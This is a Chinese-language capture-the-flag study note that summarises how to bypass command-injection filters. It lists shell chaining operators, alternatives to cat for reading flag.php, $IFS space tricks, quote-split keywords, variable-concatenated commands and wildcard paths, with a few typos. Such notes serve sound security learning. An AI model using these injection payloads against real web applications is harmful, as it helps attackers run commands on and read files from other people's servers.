🏆今日学习目标:
🍀1复习一下以前的内容
🍀2总结整合一下过滤方法
✅创作者:贤鱼
🍀复习内容:
漏洞原理
==控制可执行系统命令的函数==
思路
控制函数,寻找flag,并且根据其对应过滤内容绕过过滤
实现过程
通过ls和ls /查看当前目录下以及根目录,通过cat,tac等打开flag
🍀🍀绕过过滤方法大融合
Linux中的连接符
大部分题目中都带有如下内容或者与其作用相似的,我们为了执行命令必须让下面这段代码失去作用
这里就需要介绍到连接符了,具体内容可以查看以往两期,这里我们重在总结:
==连接符==
cat flag.php; ls
👆执行完cat,再执行ls
cat flag.php&& ls
👆cat成功执行再执行ls
cat flag.php|| ls
👆cat执行失败执行ls
cat flag.php| ls
👆将flag的内容作为第二个命令的输入
cat flag.php 'cat love xianyu'
👆先执行单引号内内容,将结果作为命令的一部分
cat flag.php $(cat love xianyu)
👆先执行¥()内内容,将结果作为命令的一部分
查看文件的命令
==如果遇到了过滤可以相互替换====命令==(使用方法):
==cat== (cat flag.php)
==tac== (tac flag.php)
==more== (more flag.php)
==less== (less flag.php)
==head== (head flag.php)
==nl== (nl flag.pgp)
==od==(od -c flag.php)
==vi== (vi flag.php)
==vim== (vim flag.php)
==sort== (sort flag.php)
==uniq== (uniq flag.php)
==file== (file -f flag.pgp)
==grep== (grep flag.php)
==paste== (paste flag.php)
==xxd== (xxd flag.php)
绕过空格方式
cat flag.php
cat $IFSflag.phpcat$IFS$1flag.php
cat${IFS}flag.php
绕过关键字
有时候会过滤掉类似flag的关键字,可以通过一下方式绕过flag
fl'a'g==单引号==
fl"a"g==双引号==
fl\ag==反斜杠==
fl$@ag==¥@==也可以拼接字符
a=c;c=t;d=a;$a$d$c==拼接完就是cat==
a=f;c=a;d=g;b=l;cat$IFS$1$a$b$c$d.php==abcd拼接出来flag==
过滤全部字符
/bin/base64
/???/????64 ????????
构造数字
echo $(())
==0==
echo $((~$(())))
==-1==
echo $((~$(())))$((~$(())))$((~$(())))
==-1-1-1==
echo $(($((~$(())))$((~$(())))$((~$(())))))
==-3==
echo $((~$(($((~$(())))$((~$(())))$((~$(())))))))
==2==
🏆结束语
==贤鱼依旧会不定期更新已有内容,并且会继续更新新的内容,还请大家继续关注支持贤鱼!!!==